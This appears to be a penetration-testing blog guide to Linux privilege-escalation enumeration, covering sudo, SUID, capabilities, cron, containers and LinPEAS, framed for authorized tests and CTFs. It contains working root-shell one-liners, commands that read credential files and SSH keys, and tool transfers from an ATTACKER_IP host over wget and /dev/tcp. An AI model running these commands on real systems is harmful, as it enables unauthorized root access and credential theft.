Linux Enumeration: commands and tools for Privilege Escalation

Linux enumeration step-by-step: Use manual commands, SUID, sudo, capabilities, cron, LinPEAS, LinEnum, and LSE to detect privilege escalation vectors.
- Posted on 2026-08-17
- Reading time: 13 min
Linux Enumeration: A Complete Guide to Pentesting and Privilege Escalation #
You have a shell on a Linux system. You are www-data, or a user with few privileges. The goal is to become rootTo get there, you first need to understand where you are, what's running on the system, and where the sysadmin made a configuration error.
This process is called enumeration : systematically gathering information about the system before attempting any exploit. There's no single command that always works—the root path changes on every machine, and the only way to find it is to look methodically.
This guide focuses on the enumeration part : the right commands, what each output means, how to distinguish a true finding from one that seems interesting but isn't. For the complete exploitation of each vector (with all the variations and prerequisites), you can find the dedicated guide: linux-privesc . Here you'll find only what you need to recognize the vector and validate it before moving on to the actual exploitation.
For each check we will use the same pattern: what to check → command → vulnerable condition → insight.
Why Enumerate Before Exploiting #
The most common mistake beginners make: downloading LinPEAS right away, looking at the output without understanding it, and trying random exploits. It rarely works, and when it does, it's often because the finding was obvious anyway.
The most robust approach:
- Manually enumerate the main vectors — a few minutes, already gives you an idea of where to look
- Launch an automatic tool so you don't miss anything
- You interpret the automatic output knowing what you're looking for, instead of reading it as a random list.
Understanding what to manually look for is what allows you to read LinPEAS output critically—and distinguish a true vector from a false positive. It's also what they ask you to demonstrate in certifications like OSCP: not the tool's output, but why that finding is exploitable.
The First Minutes: Quick Contextualization #
Once you get the shell, these commands give you the big picture.
# Chi sono?
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# uid=1001(mario) gid=1001(mario) groups=1001(mario),4(adm),27(sudo)
# Gruppo "sudo" → prova subito sudo -l
# Gruppo "adm" → hai accesso ai log di sistema → possono contenere credenziali
# Gruppo "docker" → indizio forte, non garanzia: dipende se il socket del
# daemon Docker rootful è raggiungibile e se puoi creare
# container/mount — vedi la sezione Container più sotto
# Dove sono e che sistema è?
hostname && uname -a && cat /etc/os-release
# uname -a mostra la versione del kernel: usala come punto di partenza per
# cercare CVE, ma verifica sempre la build/patch esatta della distribuzione —
# molte distro fanno backport delle fix senza cambiare il numero di versione visibile
# Cosa posso fare con sudo?
sudo -l
# (ALL) NOPASSWD: ALL → root diretto
# (ALL) NOPASSWD: /usr/bin/BINARIO → guarda GTFOBins per quel binario
# (root) NOPASSWD: /opt/script.sh → leggi lo script, cerca un punto deboleOperating System and Kernel #
What to check: Kernel version and distribution, to see if there's a known kernel exploit. Command:
uname -r # versione kernel
uname -m # architettura: x86_64 (64-bit) o i686 (32-bit)
cat /etc/os-release
cat /etc/issueVulnerable condition: A known CVE for that specific kernel build—the major version number isn't enough, as many distributions apply security patches without changing it (backports). Always check the specific distribution's changelog and advisory before assuming it's exploitable.
# Cerca exploit potenziali (dal tuo attacker machine, non sul target)
searchsploit linux kernel 5.4
searchsploit "ubuntu 20.04 privilege escalation"Further information: A kernel exploit should be treated as a last resort , not a first attempt — it can cause system crashes or instability, so it should only be used after ruling out safer vectors (sudo, SUID, cron, capabilities) and, in a real pentest, only with explicit authorization in the Rules of Engagement.
Users and Groups #
# Tutti gli utenti del sistema
cat /etc/passwd
# Cerca: utenti con UID 0 oltre a root (possibile backdoor), utenti con shell reale
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1,3,6,7
# Chi è loggato adesso?
w
who
last | head -20
# Se vedi sessioni di utenti privilegiati: documenta la cosa nel report.
# Accedere ai loro dati o file personali va fatto solo se esplicitamente
# previsto dallo scope del test — non per iniziativa propria.
# Gruppi interessanti
id
cat /etc/group | grep -E "sudo|admin|docker|lxd|disk|shadow|adm|wheel"
# sudo/wheel → verifica con sudo -l
# docker → vedi sezione Container Detection per le condizioni reali
# disk → potenziale accesso diretto ai dischi (quindi anche a /etc/shadow)
# adm → log di sistema leggibili → possibili credenziali in chiaro
# shadow → lettura diretta di /etc/shadow → hash delle passwordSudo: The Most Common Vector #
What to check: What you can run with sudo, and whether the granted tool actually gives you a way to exit to a shell.
sudo -lVulnerable condition — permissive rule:
# (ALL) NOPASSWD: ALL → root immediato
sudo su
sudo bash
# (ALL) NOPASSWD: /usr/bin/BINARIO → cerca il binario su GTFOBins
# https://gtfobins.github.io → sezione "sudo"
sudo find /etc -exec /bin/bash \;
sudo vim -c ':!bash'
sudo python3 -c 'import os; os.system("bash")'
sudo awk 'BEGIN {system("/bin/bash")}'Note on cp: if you sweat it only grants you cp, you don't automatically have a way to become root. cp how sudo gives you a primitive of privileged read/write — you can copy files that you normally couldn't read, or overwrite files that you normally couldn't modify (e.g. /etc/passwd, authorized SSH keys). Escalation depends on as file you can read or write with that privilege, not from the command itself. Copy /bin/bash somewhere it doesn't automatically make it executable as root: it requires an extra step (see GTFOBins for cp for exact conditions, including options such as --preserve=all).
Vulnerable condition — relative path in script:
cat /opt/backup.sh
# Se lo script chiama un comando senza percorso assoluto (es. "tar" invece di "/bin/tar")
# e la directory che lo precede nel PATH *effettivo di root* è scrivibile da te,
# puoi sostituirlo. Attenzione: esportare PATH nella TUA shell non basta —
# conta il PATH con cui gira sudo, che spesso è forzato da secure_path in
# /etc/sudoers, oppure il PATH definito nello script stesso. Verifica prima
# quale PATH userà davvero il comando (grep secure_path /etc/sudoers, e
# controlla se lo script imposta un PATH proprio).Vulnerable condition — known sudo version:
sudo --version
# CVE-2019-14287 non basta a scattare da sola: serve una regola sudoers con
# Runas basato su ALL (tipicamente con root esplicitamente escluso, es.
# "(ALL, !root) NOPASSWD: ALL"), e sudo < 1.8.28 — ma alcune distro (RHEL,
# per esempio) fanno backport della fix su versioni numericamente precedenti
# alla 1.8.28. Verifica sempre l'advisory della distribuzione, non solo il
# numero di versione.
sudo -u#-1 /bin/bash # test, solo se la regola Runas lo permetteFurther reading: gtfobins for a complete list of binaries exploitable via sudo/SUID; detailed exploitation at linux-privesc.
SUID and SGID: Tracks Running with Owner Privileges #
SUID (Set User ID) files run with the privileges of the file owner, not the person who runs them — if the owner is root, they run as root even when you run them.
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID (stesso principio, sul gruppo)Attention: tracks like /usr/bin/passwd, /usr/bin/sudo, /usr/bin/su are expected on many distributions — not "unexploitable" by definition. They should still be checked: correct owner? updated package version? no suspicious changes compared to the original package? Likewise, don't filter out all binaries under /usr/bin o /bin: a malicious custom SUID can very well be found there, not only in “strange” paths.
find / -perm -4000 -type f 2>/dev/null | xargs ls -laVulnerable condition: A SUID binary (standard or custom) that appears in the GTFOBins list under the SUID section, and whose owner is actually root.
Further information: suid for the dedicated guide.
Linux Capabilities #
Capabilities are a more granular mechanism than SUID: instead of granting a binary full root privileges, they only grant it a specific subset of those powers. Some of these, if present, still open a direct path to escalation.
# Capabilities sui file (binari)
getcap -r / 2>/dev/null
# Capabilities del processo corrente — utile perché un binario può ricevere
# capability anche senza che siano scritte come extended attribute sul file
# (es. ereditate dal processo padre)
capsh --print
getpcaps $$Vulnerable condition — capabilities that allow direct escalation:
/usr/bin/python3.8 = cap_setuid+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/ruby = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'Other capabilities to look for, whose actual impact depends on the specific binary that has them, the available network interfaces, and the namespace the process runs in — are not automatically “root”:
cap_sys_admin → molto ampia, spesso quasi equivalente a root (mount, namespace)
cap_dac_override → bypassa i controlli di permesso sui file
cap_dac_read_search → bypassa i controlli di lettura su file e directory
cap_net_raw → apre raw/packet socket — utile solo se il binario che
la possiede la usa per qualcosa di sfruttabile
cap_setgid → analoga a cap_setuid ma sul group ID
cap_sys_ptrace → permette di ispezionare/agganciare altri processi
cap_sys_module → può caricare moduli del kernel → escalation quasi certa
cap_chown → permette di cambiare proprietario di qualsiasi fileLearn more: getcap.
Cron and Scheduler: Scheduled Tasks Vulnerable #
Cron jobs often run as root. If the script they execute is writable by you—or if you can hijack a command the script calls—you potentially have RCE as root.
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*
crontab -l
crontab -l -u root 2>/dev/null # solo se hai già accesso a farloVulnerable condition — writable script: Verify real permissions, not just at a glance. -rwxrwxr-x (775) means that owner and group can write — not “everyone”. Only -rwxrwxrwx (777) is writable by anyone. Always check with a direct test, and also the permissions of the parent directories (a writable directory allows you to replace the file even if the file itself is not writable):
ls -la /opt/backup.sh
test -w /opt/backup.sh && echo "scrivibile da me"
namei -l /opt/backup.sh # mostra i permessi di ogni directory nel pathVulnerable condition — relative path in cron script: the same logic as for sudo applies, but here the PATH that counts is the one defined in the cron itself (In /etc/crontab there is often a line PATH=...), not the one in your interactive shell — export PATH in your terminal it does not change the environment in which the cron runs.
# Cerca la riga PATH= in /etc/crontab e verifica se una delle directory
# elencate, PRIMA di quella del binario reale, è scrivibile da te
grep "^PATH=" /etc/crontabReal-time monitoring: pspy shows processes launched on the system — including cron jobs that you don't see by looking at the configuration files alone (e.g., launched by systemd timers, or by self-generating scripts). It doesn't require root, but relies on /proc to read processes: can miss very short processes, and you need the binary compiled for the right architecture (x86, x86_64, ARM).
curl -L https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy
chmod +x /tmp/pspy
/tmp/pspyFurther information: crontab , pspy.
Systemd Timers and Other Schedulers #
Systemd timers are a different mechanism than classic cron, with their own attack surface — often forgotten during enumeration.
# Timer attivi e programmati
systemctl list-timers --all
# Per ogni timer sospetto, guarda la unit collegata:
systemctl cat nome-del-timer.timer
systemctl cat nome-del-timer.service
# Cerca ExecStart= → quale script/binario lancia, e se è scrivibile
# Unit file scrivibili (systemd esegue spesso come root)
find /etc/systemd /lib/systemd /usr/lib/systemd -writable 2>/dev/null
# Anacron e at — altri scheduler spesso ignorati
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/nullVulnerable condition: a unit file, an override, or the script called from ExecStart= writable by you, with the service/timer running as root.
ACLs and Directory Permissions #
Classic Unix permissions (rwx) are not the only control mechanism: POSIX ACLs can grant extra permissions that ls -la alone does not show.
getfacl /path/al/file # ACL specifiche sul file
getfacl -R /opt 2>/dev/null # ricorsivo su una directory
# Sticky bit su directory condivise (es. /tmp) — impedisce che un utente
# cancelli/rinomini file di un altro utente anche se la directory è 777
ls -ld /tmpVulnerable condition: a file with classic Unix non-writable permissions but an ACL that grants writing to your user or group — or, conversely, a writable parent directory that allows you to intervene independently of the file's permissions (see namei -l above).
Mount and Filesystem #
findmnt
mount
cat /etc/fstab
# Opzioni di mount rilevanti per la sicurezza:
# nosuid → i binari SUID su quel mount NON funzionano come SUID
# noexec → i file su quel mount non sono eseguibili direttamente
# nodev → i device file su quel mount vengono ignorati
# La loro ASSENZA su un mount scrivibile (es. /tmp senza nosuid/noexec)
# è la condizione che rende quel mount utile per un SUID custom o un binario da eseguire
# NFS — condivisioni di rete montate
cat /etc/exports 2>/dev/null # se hai accesso al server NFS
showmount -e TARGET_IP # dal tuo attacker, verso il server NFS
# no_root_squash nell'export → un client root mantiene i privilegi di root
# sui file NFS → se riesci a montare quella share, puoi creare un SUID
# come root sul tuo attacker e vederlo eseguito come root sul targetSensitive Files, Credentials and Configurations #
# File scrivibili nel filesystem (fuori da pseudo-filesystem come /proc, /sys)
find / -writable -type f 2>/dev/null | grep -v "/proc\|/sys\|/dev"
find /etc /bin /sbin /usr -writable 2>/dev/null
# Credenziali in chiaro in file di configurazione
grep -rn "password\|passwd\|secret\|api_key\|DB_PASS" /etc/ /var/www/ /opt/ /home/ 2>/dev/null | grep -v "^#"
# Config ad alto valore
cat /etc/mysql/mysql.conf.d/*.cnf 2>/dev/null | grep -i "password\|user"
cat /var/www/html/.env 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
# History dei comandi — spesso password digitate per errore o per abitudine
cat ~/.bash_history /home/*/.bash_history 2>/dev/null
# Chiavi SSH
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
ls -la ~/.ssh/authorized_keys 2>/dev/null
# Variabili d'ambiente e config di tool che spesso contengono credenziali
env
cat /proc/self/environ 2>/dev/null | tr '\0' '\n'
cat ~/.aws/credentials 2>/dev/null
cat ~/.kube/config 2>/dev/null
cat ~/.docker/config.json 2>/dev/null
cat ~/.npmrc ~/.pypirc 2>/dev/null
echo $SSH_AUTH_SOCK # agent SSH attivo? potresti usarlo senza conoscere la passphrase
# File EnvironmentFile richiamati da unit systemd — spesso contengono secret
grep -r "EnvironmentFile" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/nullRunning Services and Processes #
Don't stop at the version of the service: it also matters how it runs, with what privileges, and what it loads.
ps aux | grep "^root"
systemctl list-units --type=service --state=running
# Per ogni servizio interessante che gira come root:
# - percorso reale dell'eseguibile (non solo il nome)
which nome-servizio 2>/dev/null
ls -la /proc/PID/exe 2>/dev/null
# - file di configurazione e unit file
systemctl cat nome-servizio
# - working directory del processo
ls -la /proc/PID/cwd 2>/dev/null
# - plugin o script caricati dinamicamente dal servizio (dipende dal servizio)
# Porte in ascolto — servizi non esposti esternamente, spesso mal protetti
# perché "tanto non è raggiungibile da fuori"
ss -tlnp
netstat -tlnp 2>/dev/nullVulnerable condition: a service running as root, with a version, configuration, or loaded script that is actually vulnerable — don't just "it runs as root and has a CVE in its name": check the exact package version, the distribution patch, that the configuration actually exposes the flaw, and that you can reach it.
If you find a service reached only on 127.0.0.1, you can still test it by port forwarding to your machine:
ssh -L 8080:127.0.0.1:8080 user@TARGETTo move beyond the single machine (other subnets seen with ip route): pivoting.
Container Detection #
Before assuming you’re on a “normal” host, check whether you’re inside a container — it completely changes what’s reachable and what “root” really means.
# Indizi diretti
ls -la /.dockerenv 2>/dev/null
cat /proc/1/cgroup 2>/dev/null | head
cat /proc/self/cgroup 2>/dev/null
# Namespace: se il PID 1 non è init/systemd ma un processo applicativo,
# è un forte indizio di container
ps -p 1 -o comm=
# Socket dei runtime container in /run — se accessibili dal tuo utente,
# spesso equivalgono a controllo completo del runtime
ls -la /run/docker.sock /run/containerd/containerd.sock /run/podman/podman.sock 2>/dev/nullAbout the group docker: belonging to the group does not automatically mean “immediate container escape”. It is necessary that the socket of a rootful Docker daemon is reachable, the daemon is running, and you can create arbitrary containers or mounts (e.g. mount / of the host inside a new container and exit it as the root host). With Rootless Docker the model changes and the equivalence “docker group = root host” no longer holds the same — check which mode is in use before assuming it.
Unix Socket Applications #
In addition to container runtime sockets, look for Unix database or application sockets accessible to your user or group—often without authentication, because “it’s local anyway.”
find / -type s 2>/dev/null | grep -v "^/proc\|^/run/docker\|^/run/containerd\|^/run/podman"
ls -la /var/run/ /run/ 2>/dev/null | grep "\.sock"Vulnerable condition: An application socket (MySQL, Redis, an internal app) writable by your user, exposing privileged functionality without requiring separate authentication.
Active Security Checks #
Before investing time in a vector, check to see if any hardening mechanisms block it anyway — it saves you from chasing an exploit that the system blocks in the first place.
# SELinux / AppArmor
getenforce 2>/dev/null # SELinux: Enforcing / Permissive / Disabled
aa-status 2>/dev/null # AppArmor
# seccomp e restrizioni sul processo
grep Seccomp /proc/self/status 2>/dev/null
# NoNewPrivileges sulle unit systemd — impedisce a un processo di ottenere
# nuovi privilegi anche se lancia un binario SUID
grep -r "NoNewPrivileges" /etc/systemd/system/ 2>/dev/null
# User namespace attivi
cat /proc/self/uid_map 2>/dev/nullNetwork and Connectivity #
ip addr show
ip route
# Subnet aggiuntive viste in "ip route" → possibile pivoting, vedi sopra
arp -n
ss -antp
cat /etc/hosts
cat /etc/resolv.confAutomatic Tools: Comparison #
After a quick manual list, an automatic tool prevents you from missing details. Each tool has a dedicated article with full instructions—here's a comparison to help you decide which one to run.
| tool | Strength | When to use it |
|---|---|---|
| LinPEAS | Wider coverage, priority color output | First pass, when you want the most complete picture possible |
| LinEnum | Raw data, no automatic interpretation | When you want to control every entry yourself, without filters |
| LSE | Output organized at increasing levels of verbosity | Environments where you want to start from the bare minimum (level 0) |
Findings marked as "high priority" (red/yellow in LinPEAS) are presented by the project as high-confidence findings—not statistical data measured on your specific target. They still need to be manually validated: false positives do exist.
Transfer Files to Target #
# HTTP — il metodo più comodo se il target ha accesso alla tua rete
python3 -m http.server 8000 # sul tuo attacker
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/linpeas.sh
# Base64 — quando non hai connessione diretta, solo bash
base64 -w 0 linpeas.sh # sul tuo attacker, copi l'output
echo "BASE64_QUI" | base64 -d > /tmp/linpeas.sh # sul target
# /dev/tcp — bash puro, zero tool esterni
nc -lvnp 4444 < linpeas.sh # sul tuo attacker
cat < /dev/tcp/ATTACKER_IP/4444 > /tmp/linpeas.sh # sul target/dev/shm is often used instead of /tmp because it is a tmpfs (RAM filesystem) — but it is not automatically “stealth”: it can be mounted noexec (in which case the binaries inside do not run), and in any case it does not delete traces in system logs, audits, EDR telemetry or network traffic generated during execution.
Operational Workflow #
This is a reference order, to be adapted to the real situation — not a fixed sequence valid on every machine.
1. Contestualizzazione: id, sudo -l, uname -r
2. Enumerazione manuale mirata: sudo, SUID, capabilities, cron/timer,
mount, container detection, credenziali/config sensibili, servizi
3. Tool automatico (LinPEAS o alternativa) per copertura aggiuntiva
4. Validazione dei finding: condizione vulnerabile confermata? raggiungibile?
permessi verificati con test -w / namei -l, non solo a occhio?
5. Exploitation del vettore confermato — dettagli su linux-privesc
6. Verifica: id conferma uid=0? Documenta il path seguito.Detection, Operational Impact and Authorized Cleanup #
Enumeration leaves traces: commands in .bash_history, processes visible to pspy/EDR third-party files transferred to disk or in /dev/shm, outgoing network connections during downloads. Don't assume you're invisible just because you're working from a RAM filesystem.
In a real pentest, cleanup should be limited to the artifacts created by the tester —transferred tools, temporary files, added scripts—documented in the report, and should be conducted as agreed upon in the Rules of Engagement. It's inappropriate to delete bash history en masse: it would also remove the user's pre-existing legitimate history, which doesn't belong to you and could be used for later audits.
Checklist #
SISTEMA
☐ id → gruppi rilevanti identificati (sudo, docker, lxd, disk, adm, shadow)?
☐ uname -r + verifica build/patch specifica della distribuzione?
SUDO / SUID / CAPABILITIES
☐ sudo -l eseguito e ogni voce verificata su GTFOBins?
☐ SUID/SGID enumerati, proprietario e pacchetto verificati (anche quelli "attesi")?
☐ getcap -r / e capsh --print eseguiti?
CRON / SYSTEMD / MOUNT
☐ Permessi reali degli script cron verificati con test -w e namei -l?
☐ systemctl list-timers --all controllato?
☐ mount/findmnt controllati per nosuid/noexec/nodev mancanti?
CONTAINER / SOCKET / SICUREZZA
☐ /.dockerenv, cgroup, PID 1 controllati?
☐ Socket Docker/containerd/Podman verificati per raggiungibilità reale?
☐ SELinux/AppArmor/seccomp/NoNewPrivileges controllati?
CREDENZIALI
☐ .bash_history, .env, config.php, chiavi SSH cercati?
☐ .aws, .kube/config, .docker/config.json, agent SSH controllati?
VALIDAZIONE E TOOL
☐ Ogni finding manuale ricontrollato con condizione esplicita (non solo "sembra vulnerabile")?
☐ Tool automatico lanciato come seconda passata, non come primo passo?FAQ #
What's the first command I run after getting a shell?
id e sudo -l, in that order. id It tells you right away if you are in potentially useful groups. sudo -l tells you if you already have a direct way to root without any further steps.
Does LinPEAS find everything, or do I need to do manual enumeration? LinPEAS is comprehensive but not foolproof—depending on your system configuration, sometimes it's missing output, sometimes it generates too much noise to filter. Manual enumeration is useful for correctly interpreting what the tool finds, and for cases where the tool itself doesn't run well (restricted environments, containers, non-standard file systems).
I can't find anything with automated tools. What do I do? Try pspy to see real-time processes that static checks don't show. Dig deeper into mounts, ACLs, application sockets, and environment variables—they're often overlooked. A kernel exploit remains an option, but only as a last resort, after ruling out safer vectors, and only with explicit authorization in a real pentest.
Should I clean up traces after enumeration? In a real pentest: remove only the artifacts you created (transferred tools, temporary files), document them in the report, and follow the Rules of Engagement. Don't delete bash history in bulk—you'll also delete legitimate history that doesn't belong to you. Cleanup is typically not required in CTF/HTB.
Resources #
You have the shell. The right question isn't "which exploit should I try," but "what am I looking at, and why is it actually exploitable?" Methodology, not luck.







